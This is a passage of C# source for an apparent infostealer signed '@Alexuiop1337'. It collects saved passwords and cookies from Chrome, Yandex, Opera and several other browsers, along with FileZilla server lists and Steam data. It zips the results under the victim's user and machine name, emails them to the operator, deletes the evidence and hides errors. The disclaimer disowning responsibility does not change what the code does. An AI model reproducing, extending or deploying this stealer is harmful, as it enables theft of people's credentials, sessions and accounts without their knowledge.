public void Release() { try { string path_to_zip = Path.GetTempPath() + "\\" + Environment.UserName + "_" + Environment.MachineName + ".zip"; if (File.Exists(path_to_zip)) { File.Delete(path_to_zip); } Utils.CreateZip(dir_for_mailing, path_to_zip); Directory.Delete(dir_for_mailing, true); MailSend.SendMail(mailData, path_to_zip); File.Delete(path_to_zip); } catch { } }
static void Main() { try { if (!MailSend.CheckForInternetConnection("https://google.com")) { return; } string body_made = $"This programm was made by @Alexuiop1337. The author (me) is not responsible for your actions!" + $"\nThis log was sent by {Environment.UserName} ({Environment.MachineName})." + $"\n And some stuff here: \n{Utils.MACS()}"; MailData mailData = new MailData { smtp = "", from = "", pass = "", To = "", subject = "NEW LOG! FROM " + Environment.UserName, body = body_made //+ "\nTAG - TAGHERE\n" ; }; string Opera_path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Opera Software\Opera Stable\"; string appdata = Environment.GetEnvironmentVariable("LocalAppData"); StealAndSend sender = new StealAndSend(mailData); sender.FileZilla(appdata + @"\FileZilla\recentservers.xml", "File_Zilla.txt"); sender.BrowserPasswords(appdata + @"\Google\Chrome\User Data\Default\Login Data", "Chrome_Pass.txt", "chrome"); sender.BrowserCookies(appdata + @"\Google\Chrome\User Data\Default\Cookies", "ChromeCookies.json"); sender.BrowserPasswords(appdata + @"\Yandex\YandexBrowser\User Data\Default\Login Data", "Yandex_Pass.txt", "browser"); sender.BrowserCookies(appdata + @"\Yandex\YandexBrowser\User Data\Default\Cookies", "YandexCookies.json"); sender.BrowserPasswords(appdata + @"\Kometa\User Data\Default\Login Data", "Kometa_Pass.txt", "kometa"); sender.BrowserCookies(appdata + @"\Kometa\User Data\Default\Cookies", "KometaCookies.json"); sender.BrowserPasswords(appdata + @"\Amigo\User\User Data\Default\Login Data", "Amigo_Pass.txt", "amigo"); sender.BrowserCookies(appdata + @"\Amigo\User\User Data\Default\Cookies", "AmigoCookies.json"); sender.BrowserPasswords(appdata + @"\Torch\User Data\Default\Login Data", "Torch_Pass.txt", "Torch"); sender.BrowserCookies(appdata + @"\Torch\User Data\Default\Cookies", "TorchCookies.json"); sender.BrowserPasswords(appdata + @"\Orbitum\User Data\Default\Login Data", "Orbitum_Pass.txt", "orbitum"); sender.BrowserCookies(appdata + @"\Orbitum\User Data\Default\Cookies", "OrbitumCookies.json"); sender.BrowserPasswords(appdata + @"\Comodo\Dragon\User Data\Default\Login Data", "Comodo_Pass.txt", "Comodo dragon"); sender.BrowserCookies(appdata + @"\Comodo\Dragon\User Data\Default\Cookies", "ComodoCookies.json"); sender.BrowserPasswords(Opera_path + "Login Data", $"Opera_Pass.txt", "opera"); sender.BrowserCookies(Opera_path + "Cookies", "OperaCookies.json"); sender.Steam(); sender.Release(); //SelfDelete(); } catch { } }